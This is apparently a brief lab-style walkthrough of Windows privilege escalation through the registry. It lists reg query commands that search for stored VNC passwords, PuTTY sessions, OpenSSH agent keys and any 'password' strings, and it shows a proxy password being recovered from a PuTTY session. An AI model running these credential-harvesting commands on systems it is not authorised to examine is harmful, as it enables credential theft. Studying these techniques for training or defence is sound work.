the registry is another good place to search for PrivEsc

now take a look at this queries

reg query "HKCU\Software\ORL\WinVNC3\Password" #for vnc creds
reg query "HKCU\Software\TightVNC\Server" # for vnc creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # for putty sessions
reg query "HKCU\Software\OpenSSH\Agent\Keys"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

now let’s try the putty sessions

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

and we got a session so let’s query it

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\local"

and we got this huge data so let’s search for password

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\local" | findstr /i passw

and we got the password for the proxy let’s go

now let’s try another query and search in the current user

reg query HKCU /f password /t REG_SZ /s

and we made it we found the password again